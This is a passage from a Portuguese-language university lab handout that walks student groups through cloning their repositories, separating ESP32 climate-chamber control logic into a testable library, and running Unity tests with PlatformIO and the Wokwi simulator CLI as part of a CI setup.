2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-l.git && cd lab11-grupo-l
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-l" && code . --profile "ESP32IO"
- Grupo: Grupo-M (slug:
grupo-m) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-m
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-m/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-m.git && cd lab11-grupo-m
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-m" && code . --profile "ESP32IO"
- Grupo: Grupo-X (slug:
grupo-x) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-x
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-x/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-x.git && cd lab11-grupo-x
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-x" && code . --profile "ESP32IO"
- Grupo: Grupo-P (slug:
grupo-p) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-p
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-p/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-p.git && cd lab11-grupo-p
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-p" && code . --profile "ESP32IO"
- Grupo: Grupo-N (slug:
grupo-n) - Repositório: https://github.com/ELT85B-N21-2026-2/lab11-grupo-n
- Commits: https://github.com/ELT85B-N21-2026-2/lab11-grupo-n/commits/main/
- Acessos: ACESSO-LAB11.md
1. Crie e entre na pasta-mãe da disciplina:
mkdir "%USERPROFILE%\ELT85BN21" & cd /d "%USERPROFILE%\ELT85BN21"
2. Clone e entre no repositório do laboratório:
git clone https://github.com/ELT85B-N21-2026-2/lab11-grupo-n.git && cd lab11-grupo-n
3. Abra o conteúdo do repositório no perfil ESP32IO do VS Code e compile:
cd /d "%USERPROFILE%\ELT85BN21\lab11-grupo-n" && code . --profile "ESP32IO"
Envie o link do repositório do seu grupo no Moodle:
- A
- B
- C
- D
- E
- F
- G
- H
- I
- J
- K
- L
- M
- X
- P
- N
Repositório do Grupo A para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo B para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo C para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo D para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo E para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo F para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo G para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo H para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo I para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo J para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo K para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo L para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo M para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo X para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo P para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Repositório do Grupo N para Laboratório 11:
- Copie o link do repositório acima.
- Abra a página de envio da atividade no Moodle (botão abaixo).
- Clique em Adicionar envio.
- Cole o link no campo Texto online.
- Clique em Salvar mudanças.
- Confira se o status mudou para Enviado para avaliação.
Cada cartão Ponto de commit é uma tarefa: faça-a, copie o comando do cartão e rode. A mensagem começa com o código (T1:, T2:…) — é como a correção identifica sua entrega. Um commit por tarefa; pode refazer (vale o mais recente); e não esqueça o git push. Detalhes em Como funciona a avaliação.
Mapa de tarefas — 6 tarefas · 100 pts
- T1 — Lógica testável em lib/camara_logica · 10 pts
- T2 — pio test no PC · 20 pts
- T3 — wokwi-cli: lint e testes no ESP32 simulado · 15 pts
- T4 — Cenário de integração e analisador lógico · 20 pts
- T5 — Pipeline no GitHub Actions · 15 pts
- T6 — ntfy e release (CD) · 20 pts
O repositório nasce do lab11-template, com o firmware final do Lab 07 em
src/main.cpp:
Estrutura de Arquivos do Projeto
- ├── 🔧platformio.ini👈 Edite Aqui
- ├── 📂src
- └── 📄main.cpp👈 Edite Aqui
- ├── 📂lib
- └── 📂camara_logica
- ├── 📄camara_logica.h👈 Verificar
- └── 📄camara_logica.cpp👈 Criar Aqui
- └── 📂camara_logica
- ├── 📂test
- ├── 📂test_logica
- └── 📄test_logica.cpp👈 Criar Aqui
- └── 📂test_alvo
- └── 📄test_alvo.cpp👈 Criar Aqui
- ├── 📂test_logica
- ├── 🔧diagram.json👈 Edite Aqui
- ├── 🔧wokwi.toml👈 Verificar
- ├── 📂ci
- ├── 🚀cenario_integracao.yaml👈 Criar Aqui
- ├── 📄verificar_pwm.py👈 Verificar
- ├── 📄resumo_junit.py👈 Verificar
- └── 📄notificar.sh👈 Verificar
- ├── 📂.github
- └── 📂workflows
- └── 🚀ci.yml👈 Criar Aqui
- └── 📂workflows
- ├── 📄.gitignore👈 Verificar
- ├── 📂evidencias
- ├── 📄t1-build.txt👈 Criar Aqui
- ├── 📄t2-pio-test.txt👈 Criar Aqui
- ├── 📄t3-lint.txt👈 Criar Aqui
- ├── 📄t3-alvo-test_logica.txt👈 Criar Aqui
- ├── 📄t3-alvo-test_alvo.txt👈 Criar Aqui
- ├── 📄t4-cenario.txt👈 Criar Aqui
- ├── 📄t4-pwm.txt👈 Criar Aqui
- ├── 📄t5-actions.png👈 Criar Aqui
- ├── 📄t6-ntfy.png👈 Criar Aqui
- └── 📄t6-release.png👈 Criar Aqui
- └── 📝README.md👈 Edite Aqui
O firmware normal continua falando MQTT, agora em elt85b/lab11/grupo-x/ (dht, adc,
pwm, status), com os comandos em elt85b/lab11/grupo-x/cmd/<nome>: modo, aquecedor,
ventilador e intervalo. O firmware de CI (env:ci) não usa rede: recebe os mesmos
comandos pela serial, uma linha <nome> <valor> (modo auto, aq 50, intervalo 2).
Parte 1 — Lógica testável
1.1 Decisão × periférico
No main.cpp do Lab 07, a regra da histerese estava misturada com analogRead, ledcWrite e
mqtt.publish. Para testar a regra, era preciso um ESP32, um DHT22 e um broker. A saída é
separar:
- lógica: funções puras, que recebem números e devolvem números ou texto. Não sabem o que é
um pino. Ficam em
lib/camara_logicae compilam em qualquer computador; - periférico: lê o ADC e o DHT22, chama a lógica e escreve no LEDC e no MQTT. Fica no
main.cppe só existe no ESP32.
O contrato já está no repositório. Você escreve o .cpp:
- └── 📂lib
- └── 📂camara_logica
- └── 📄camara_logica.h👈 Verificar
- └── 📂camara_logica
git conferir lib/camara_logica/camara_logica.h
namespace camara {
constexpr float SP_MIN = 20.0f, SP_MAX = 55.0f; // °C
constexpr int ADC_MAX = 4095; // 12 bits
constexpr float HISTERESE = 0.5f; // ±0,5 °C
enum Modo { MODO_POT = 0, MODO_REMOTO = 1, MODO_AUTO = 2 };
float adcParaSetpoint(int raw); // 20..55 °C em passos de 0,5 (satura)
bool mudouAlemDaBanda(int raw, int ultimoAceito, int banda);
uint32_t dutyDe(float pct); // 0..100 % -> 0..255 (satura)
struct Saida { float aq; float ve; const char *estado; };
Saida decidir(Modo modo, int adcRaw, float t, float sp, float aqRemoto, float veRemoto,
bool &aquecendo); // 'aquecendo' = memória da histerese
int interpretarModo(const char *txt); // "pot"|"remoto"|"auto" -> 0..2; senão -1
bool interpretarPercentual(const char *txt, float &pct); // "0".."100"
int formatarPwm(char *buf, size_t tam, Modo modo, const Saida &s, float sp, float t);
}
Leve para camara_logica.cpp o que o Lab 07 já fazia, sem #include <Arduino.h>: use
<math.h> (roundf, lroundf, isnan), <stdio.h> (snprintf), <stdlib.h> (strtof) e
<ctype.h> (tolower). decidir() é o antigo controlar() sem os ledcWrite.
1.2 O main.cpp passa a delegar
#include "camara_logica.h"
using namespace camara;
void lerAdc() {
// ... média de 16 leituras, como no Lab 07 ...
setpoint = adcParaSetpoint(adcRaw);
}
void controlar() {
Saida s = decidir(modo, adcRaw, ultimaT, setpoint, aqRemoto, veRemoto, aquecendo);
if (s.aq == atual.aq && s.ve == atual.ve && strcmp(s.estado, atual.estado) == 0) return;
atual = s;
pwmEscrever(AQ_PIN, AQ_CANAL, dutyDe(atual.aq));
pwmEscrever(VE_PIN, VE_CANAL, dutyDe(atual.ve));
publicarPwm(); // formatarPwm(...) + publicar + Serial "[PWM] ..."
telaSuja = true;
}
1.3 Firmware de CI: sem rede, comandos pela serial
Um teste automático não pode depender do Wi-Fi do Wokwi nem do broker.hivemq.com: se o
broker cair, o CI fica vermelho sem o código ter mudado. Com -D SEM_REDE, o firmware pula o
Wi-Fi e o MQTT e lê os comandos pela serial:
#ifndef SEM_REDE
#include <WiFi.h>
#include <PubSubClient.h>
#endif
// um só lugar para os comandos: chamado pelo callback do MQTT E pela serial
void executarComando(const char *nome, const char *valor) {
if (strcmp(nome, "modo") == 0) {
int novo = interpretarModo(valor);
if (novo < 0) { Serial.println("[CMD] modo invalido (use pot, remoto ou auto)"); return; }
modo = (Modo)novo; aquecendo = false; controlar();
} else if (strcmp(nome, "aquecedor") == 0 || strcmp(nome, "aq") == 0 /* ... */) {
// interpretarPercentual(valor, v) ...
} // ... "intervalo"
}
void lerSerial() { // junta caracteres até '\r\n' e separa "<nome> <valor>"
// ... strchr(linha, ' ') -> executarComando(linha, esp + 1)
}
void setup() {
// ... ADC, LEDC, DHT22, OLED como no Lab 07 ...
#ifndef SEM_REDE
conectarWiFi(); mqtt.setServer(MQTT_HOST, MQTT_PORTA); /* ... */ conectarMQTT();
#endif
Serial.println("[BOOT] pronto"); // o cenário do wokwi-cli espera por esta linha
}
E o platformio.ini ganha três ambientes:
- └── 🔧platformio.ini👈 Verificar
git conferir platformio.ini
[platformio]
default_envs = esp32dev
[env]
test_framework = unity
[esp32]
platform = espressif32 ; sem versão: a mais recente
board = esp32dev
framework = arduino
monitor_speed = 115200
lib_deps =
adafruit/DHT sensor library
adafruit/Adafruit Unified Sensor
knolleary/PubSubClient
adafruit/Adafruit SSD1306
adafruit/Adafruit GFX Library
[env:esp32dev]
extends = esp32
[env:ci]
extends = esp32
build_flags = -D SEM_REDE ; não conecta ao Wi-Fi nem ao broker
test_ignore = * ; este ambiente é só para o cenário do wokwi-cli
[env:native]
platform = native
build_flags = -std=gnu++17
test_ignore = test_alvo ; testes que precisam de periférico do ESP32
lib_compat_mode = off
A plataforma e as bibliotecas ficam sem versão: cada build usa a mais recente. O lado bom é
receber correções sem esforço; o lado ruim é que o mesmo commit pode compilar diferente em
dias diferentes. É aí que o CI ajuda: se uma atualização quebrar algo, o pipeline fica
vermelho, e o log mostra as versões usadas (as linhas PLATFORM: e PACKAGES: do pio run).
if not exist evidencias mkdir evidencias
pio run -e esp32dev -e ci > evidencias\t1-build.txt 2>&1
type evidencias\t1-build.txt
Environment Status Duration
------------- -------- ------------
esp32dev SUCCESS 00:00:41.120
ci SUCCESS 00:00:23.870
O firmware de CI fica bem menor (sem a pilha Wi-Fi e o MQTT), e por isso também simula mais
rápido. Compare o RAM:/Flash: dos dois no log.
- ├── 📂lib
- └── 📂camara_logica
- └── 📄camara_logica.cpp👈 Verificar
- └── 📂camara_logica
- ├── 📂src
- └── 📄main.cpp👈 Verificar
- ├── 🔧platformio.ini👈 Verificar
- └── 📂evidencias
- └── 📄t1-build.txt👈 Criar Aqui
git conferir lib/camara_logica/camara_logica.cpp src/main.cpp platformio.ini evidencias/t1-build.txt
Lógica testável em lib/camara_logica
git conferir lib/camara_logica/camara_logica.cpp src/main.cpp platformio.ini evidencias/t1-build.txt
git add lib/camara_logica/camara_logica.cpp src/main.cpp platformio.ini evidencias/t1-build.txt && git commit -m "T1: Lógica testável em lib/camara_logica" && git push
git status -sb && git log -1 --stat --oneline
Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T1.
Parte 2 — pio test no PC
2.1 Unity em 30 segundos
O Unity é um framework de testes em C. Um teste é uma função void com asserções;
RUN_TEST a executa e conta; UNITY_END() devolve o número de falhas.
| Asserção | Passa quando |
|---|---|
TEST_ASSERT_EQUAL_FLOAT(esperado, obtido) | iguais (com tolerância de float) |
TEST_ASSERT_EQUAL_UINT32 / _INT | inteiros iguais |
TEST_ASSERT_EQUAL_STRING | strings iguais |
TEST_ASSERT_TRUE / _FALSE | condição verdadeira / falsa |
TEST_ASSERT_INT_WITHIN(delta, esp, obt) | |esp − obt| ≤ delta |
..._MESSAGE(..., "texto") | idem, com mensagem extra na falha |
O pio test procura pastas test/test_*, compila cada uma como um programa separado,
junto com as bibliotecas de lib/, e lê o resultado. No env:native, o "programa" roda no
seu PC.
2.2 Os testes
- └── 📂test
- └── 📂test_logica
- └── 📄test_logica.cpp👈 Verificar
- └── 📂test_logica
git conferir test/test_logica/test_logica.cpp
#include <math.h>
#include <string.h>
#include <unity.h>
#include "camara_logica.h"
using namespace camara;
void setUp() {}
void tearDown() {}
void test_setpoint_extremos_e_meio() {
TEST_ASSERT_EQUAL_FLOAT(20.0f, adcParaSetpoint(0));
TEST_ASSERT_EQUAL_FLOAT(55.0f, adcParaSetpoint(4095));
TEST_ASSERT_EQUAL_FLOAT(37.5f, adcParaSetpoint(2048));
}
void test_setpoint_passos_de_meio_grau_e_monotonico() {
float anterior = adcParaSetpoint(0);
for (int raw = 0; raw <= 4095; raw++) {
float sp = adcParaSetpoint(raw);
TEST_ASSERT_EQUAL_FLOAT_MESSAGE(roundf(sp * 2) / 2, sp, "setpoint fora do passo de 0,5");
TEST_ASSERT_TRUE_MESSAGE(sp >= anterior, "setpoint diminuiu com o ADC subindo");
anterior = sp;
}
}
void test_auto_sequencia_do_lab07() {
// SP 37,5 °C; temperaturas do experimento da T6 do Lab 07 (+ 37,2 °C)
struct { float t; float aq; float ve; const char *estado; } passos[] = {
{24.5f, 100, 0, "AQUECENDO"},
{37.4f, 100, 0, "AQUECENDO"}, // dentro da histerese: continua aquecendo
{38.2f, 0, 0, "ESTAVEL"},
{41.0f, 0, 63, "RESFRIANDO"}, // (41 - 38,5) x 25 = 62,5 -> 63 %
{37.8f, 0, 0, "ESTAVEL"}, // acima de SP - 0,5: não religa
{37.2f, 0, 0, "ESTAVEL"}, // abaixo do SP, mas dentro da histerese (sem ela, religaria)
{36.8f, 100, 0, "AQUECENDO"},
};
bool aquecendo = false;
for (auto &p : passos) {
Saida s = decidir(MODO_AUTO, 0, p.t, 37.5f, 0, 0, aquecendo);
TEST_ASSERT_EQUAL_FLOAT(p.aq, s.aq);
TEST_ASSERT_EQUAL_FLOAT(p.ve, s.ve);
TEST_ASSERT_EQUAL_STRING(p.estado, s.estado);
}
}
void test_json_pwm() {
char buf[200];
Saida s{100, 0, "AQUECENDO"};
formatarPwm(buf, sizeof(buf), MODO_AUTO, s, 37.5f, 24.5f);
TEST_ASSERT_EQUAL_STRING(
"{\"modo\":\"auto\",\"estado\":\"AQUECENDO\",\"aq\":100,\"ve\":0,"
"\"aq_duty\":255,\"ve_duty\":0,\"sp\":37.5,\"t\":24.5}",
buf);
}
// ... os demais testes ...
int rodarTestes() {
UNITY_BEGIN();
RUN_TEST(test_setpoint_extremos_e_meio);
RUN_TEST(test_setpoint_passos_de_meio_grau_e_monotonico);
RUN_TEST(test_auto_sequencia_do_lab07);
RUN_TEST(test_json_pwm);
// ...
return UNITY_END();
}
#ifdef ARDUINO // o mesmo arquivo roda no ESP32 (T3)
#include <Arduino.h>
void setup() { delay(1000); rodarTestes(); }
void loop() {}
#else
int main() { return rodarTestes(); }
#endif
Requisito: pelo menos 15 testes, cobrindo:
| Função | O que testar |
|---|---|
adcParaSetpoint | extremos, meio, saturação abaixo de 0 e acima de 4095, passo de 0,5, monotonia |
mudouAlemDaBanda | exatamente na banda (não muda), 1 acima, para baixo, primeira leitura |
dutyDe | 0, 100, 50 (arredondamento), saturação |
decidir | pot, remoto (com saturação), a sequência do Lab 07, SEM DHT, ventilador em 100 % |
interpretarModo | os 3 modos, maiúsculas, vazio, prefixo ("au"), palavra maior, nullptr |
interpretarPercentual | válidos, "12.5\r\n", fora da faixa, lixo, "50abc", vazio |
formatarPwm | JSON exato, t = NAN vira null, buffer pequeno não estoura |
O comando pio test -e native --junit-output-path relatorio-native.xml executa os testes automatizados do seu projeto PlatformIO diretamente no seu computador (sem precisar de uma placa física) e salva o resultado em um arquivo XML compatível com ferramentas de integração contínua (CI/CD).
pio test -e native --junit-output-path relatorio-native.xml
Executa os testes do PlatformIO no ambiente native e salve toda a saída (sucessos e erros) em um arquivo de texto para servir como evidência ou log.
pio test -e native > evidencias\t2-pio-test.txt 2>&1
Exiba o conteúdo do arquivo de texto t2-pio-test.txt (localizado dentro da pasta evidencias) diretamente na tela do terminal do Windows (Prompt de Comando/CMD).
type evidencias\t2-pio-test.txt
test/test_logica/test_logica.cpp:187: test_json_buffer_pequeno_nao_estoura [PASSED]
---------------- native:test_logica [PASSED] Took 0.59 seconds ----------------
=================================== SUMMARY ===================================
Environment Test Status Duration
------------- ----------- -------- ------------
native test_logica PASSED 00:00:00.590
================= 17 test cases: 17 succeeded in 00:00:00.590 =================
Um teste que nunca falhou pode não testar nada. Troque, de propósito,
return roundf(sp * 2.0f) / 2.0f; por return roundf(sp); em adcParaSetpoint e rode de
novo. Qual teste falha, com que mensagem? O pio test termina com código 1, e é isso que
vai pintar o CI de vermelho na T5. Desfaça a mudança antes do commit.
P1: um colega escreveu / 4096.0f em vez de / 4095 em adcParaSetpoint. Quais dos seus
testes falham? Escreva a previsão e depois rode. Se nenhum falhar, descubra por quê (para
quantos dos 4096 valores do ADC o resultado muda?) e escreva um teste que pegue esse erro.
- ├── 📂test
- └── 📂test_logica
- └── 📄test_logica.cpp👈 Verificar
- └── 📂test_logica
- └── 📂evidencias
- └── 📄t2-pio-test.txt👈 Criar Aqui
git conferir test/test_logica/test_logica.cpp evidencias/t2-pio-test.txt
pio test no PC
git conferir test/test_logica/test_logica.cpp evidencias/t2-pio-test.txt
git add test/test_logica/test_logica.cpp evidencias/t2-pio-test.txt && git commit -m "T2: pio test no PC" && git push
git status -sb && git log -1 --stat --oneline
Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T2.
Parte 3 — wokwi-cli: lint e testes no ESP32 simulado
3.1 Configurar o token
- Verifique a versão instalada:
wokwi-cli --version
- Obtenha seu token em https://wokwi.com/dashboard/ci
setx WOKWI_CLI_TOKEN "wok_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
O set vale só nesta janela do terminal; escreva sem aspas e sem espaços em volta do =.
Para atualizar o wokwi-cli, baixe de novo com o mesmo curl. O .gitignore já ignora o executável.
Nunca coloque o token num arquivo do repositório, nem no ci.yml. No GitHub, ele vai num
Secret (T5). Quem tem o token gasta a sua cota.
3.2 Lint do diagrama (sem token)
Execute a ferramenta de análise estática (linter) do Wokwi CLI no diretório atual para validar a configuração do seu projeto de simulação (como conexões de pinos e o arquivo diagram.json), tratando qualquer aviso (warning) como um erro crítico, e salva o resultado completo em um arquivo de texto.
wokwi-cli lint --warnings-as-errors . > evidencias\t3-lint.txt 2>&1
type evidencias\t3-lint.txt
Com o --warnings-as-errors, qualquer aviso vira erro: a saída tem de trazer só a nota info
sobre a placa. Se aparecer algo mais, corrija o diagram.json. Depois, mude o valor inicial do
potenciômetro para 0: o teste de integração (T4) precisa começar de um estado
conhecido.
{ "type": "wokwi-potentiometer", "id": "pot1", "top": 160, "left": -150, "attrs": { "value": "0" } },
{ "type": "wokwi-logic-analyzer", "id": "logic1", "top": 300, "left": 300, "attrs": { "filename": "lab11-pwm" } }
(Mantenha top e left como estão no seu arquivo.)
3.3 Os testes Unity no ESP32 simulado
O mesmo test_logica.cpp também roda no ESP32, onde mudam o compilador (Xtensa), o
tamanho de long e a FPU. E uma segunda pasta testa o que só existe lá, o LEDC e o ADC:
- └── 📂test
- └── 📂test_alvo
- └── 📄test_alvo.cpp👈 Verificar
- └── 📂test_alvo
git conferir test/test_alvo/test_alvo.cpp
void test_ledc_aquecedor_5hz() {
uint32_t f = pwmIniciar(AQ_PIN, 0, 5);
TEST_ASSERT_UINT32_WITHIN(1, 5, f); // o LEDC consegue gerar 5 Hz em 8 bits
pwmEscrever(AQ_PIN, 0, dutyDe(50));
TEST_ASSERT_EQUAL_UINT32(128, pwmLer(AQ_PIN, 0)); // ledcRead() devolve o duty escrito
}
void test_ledc_ventilador_25khz() {
uint32_t f = pwmIniciar(VE_PIN, 1, 25000);
TEST_ASSERT_UINT32_WITHIN(250, 25000, f); // ±1 %
pwmEscrever(VE_PIN, 1, dutyDe(63));
TEST_ASSERT_EQUAL_UINT32(161, pwmLer(VE_PIN, 1));
}
void test_adc_do_potenciometro() {
analogReadResolution(12);
analogSetPinAttenuation(POT_PIN, ADC_11db);
int raw = analogRead(POT_PIN);
TEST_ASSERT_INT_WITHIN(2048, 2047, raw); // 0..4095
TEST_ASSERT_TRUE(adcParaSetpoint(raw) >= SP_MIN && adcParaSetpoint(raw) <= SP_MAX);
}
// pwmIniciar/pwmEscrever/pwmLer: os mesmos #if ESP_ARDUINO_VERSION_MAJOR >= 3 do Lab 07
// (no core 2.x, ledcSetup() devolve a frequência obtida; no 3.x, ledcReadFreq(pino))
O pio test compila o teste para o ESP32 e para (não há placa para gravar). O wokwi-cli
roda o .elf e decide pelo texto do serial:
pio test -e esp32dev -f test_logica --without-uploading --without-testing
wokwi-cli --elf .pio/build/esp32dev/firmware.elf --timeout 30000 --expect-text "Tests 0 Failures" --fail-text ":FAIL" --serial-log-file evidencias/t3-alvo-test_logica.txt .
pio test -e esp32dev -f test_alvo --without-uploading --without-testing
wokwi-cli --elf .pio/build/esp32dev/firmware.elf --timeout 30000 --expect-text "Tests 0 Failures" --fail-text ":FAIL" --serial-log-file evidencias/t3-alvo-test_alvo.txt .
Wokwi CLI v0.x.x (...)
Connected to Wokwi Simulation API <versão>
Starting simulation...
test/test_alvo/test_alvo.cpp:82:test_ledc_aquecedor_5hz:PASS
test/test_alvo/test_alvo.cpp:83:test_ledc_ventilador_25khz:PASS
test/test_alvo/test_alvo.cpp:84:test_adc_do_potenciometro:PASS
test/test_alvo/test_alvo.cpp:85:test_float_no_xtensa_igual_ao_pc:PASS
-----------------------
4 Tests 0 Failures 0 Ignored
Expected text found: "Tests 0 Failures"
TEST PASSED.
--elftroca o firmware dowokwi.toml(que aponta para o firmware normal) pelo programa de teste.--expect-textencerra com sucesso quando o texto aparece;--fail-textencerra com erro se o seu texto aparecer antes. O Unity escreve:FAILem cada teste que falha.- Se nada disso aparecer até o
--timeout, owokwi-clisai com o código 42.
P2: formatarPwm faz (unsigned long)dutyDe(...) antes do %lu. No PC (x86-64), quantos
bytes tem um long? E no ESP32? E o uint32_t: é unsigned int ou unsigned long em cada
um? O que poderia dar errado se o cast não existisse, e por que um teste que passa no PC
ainda assim precisa rodar no ESP32?
- ├── 📂test
- └── 📂test_alvo
- └── 📄test_alvo.cpp👈 Verificar
- └── 📂test_alvo
- ├── 🔧diagram.json👈 Verificar
- └── 📂evidencias
- ├── 📄t3-lint.txt👈 Criar Aqui
- ├── 📄t3-alvo-test_logica.txt👈 Criar Aqui
- └── 📄t3-alvo-test_alvo.txt👈 Criar Aqui
git conferir test/test_alvo/test_alvo.cpp diagram.json evidencias/t3-lint.txt evidencias/t3-alvo-test_logica.txt evidencias/t3-alvo-test_alvo.txt
wokwi-cli: lint e testes no ESP32 simulado
git conferir test/test_alvo/test_alvo.cpp diagram.json evidencias/t3-lint.txt evidencias/t3-alvo-test_logica.txt evidencias/t3-alvo-test_alvo.txt
git add test/test_alvo/test_alvo.cpp diagram.json evidencias/t3-lint.txt evidencias/t3-alvo-test_logica.txt evidencias/t3-alvo-test_alvo.txt && git commit -m "T3: wokwi-cli: lint e testes no ESP32 simulado" && git push
git status -sb && git log -1 --stat --oneline
Só faça o commit se o passo 1 não mostrar ATENCAO (terminal fora da raiz do repositório) nem FALTA. Nas mudanças, ?? é arquivo novo e M, modificado: os dois entram no commit. !! é arquivo bloqueado pelo .gitignore, e o git add vai falhar. Um arquivo que não aparece ali já está no Git e não mudou desde o último commit. No passo 3, a primeira linha não pode ter [ahead (commit ainda não enviado), e a lista tem de trazer os arquivos da T3.
Parte 4 — Cenário de integração e analisador lógico
Os testes unitários verificam cada função. Falta verificar o firmware inteiro: setup(),
os Ticker, a banda morta do ADC, o DHT22, a serial e o LEDC funcionando juntos. É o que um
cenário faz: uma lista de passos que o wokwi-cli executa enquanto o firmware roda.
| Passo | O que faz | Exemplo |
|---|---|---|
wait-serial | espera um trecho na saída serial | wait-serial: '[BOOT] pronto' |
set-control | mexe num componente | part-id: pot1, control: position, value: 0.5 |
write-serial | digita na serial do ESP32 | write-serial: "modo auto\r\n" |
expect-pin | confere o nível de um pino agora | part-id: esp, pin: '25', value: 0 |
delay | espera (com unidade!) | delay: 1500ms |
Cada passo tem um comando (e um name opcional). O potenciômetro aceita position de
0,0 a 1,0; o DHT22, temperature (°C).
- └── 📂ci
- └── 🚀cenario_integracao.yaml👈 Verificar
git conferir ci/cenario_integracao.yaml
name: Camara - modos pot e auto
version: 1
author: ELT85B
# O diagram.json começa com o potenciômetro em 0 e o DHT22 em 24,5 °C: estado conhecido.
steps:
- name: Boot sem rede
wait-serial: "[BOOT] pronto"
# ---------------------------------------------------------- modo pot (dimmer)
- name: Potenciômetro no meio
set-control:
part-id: pot1
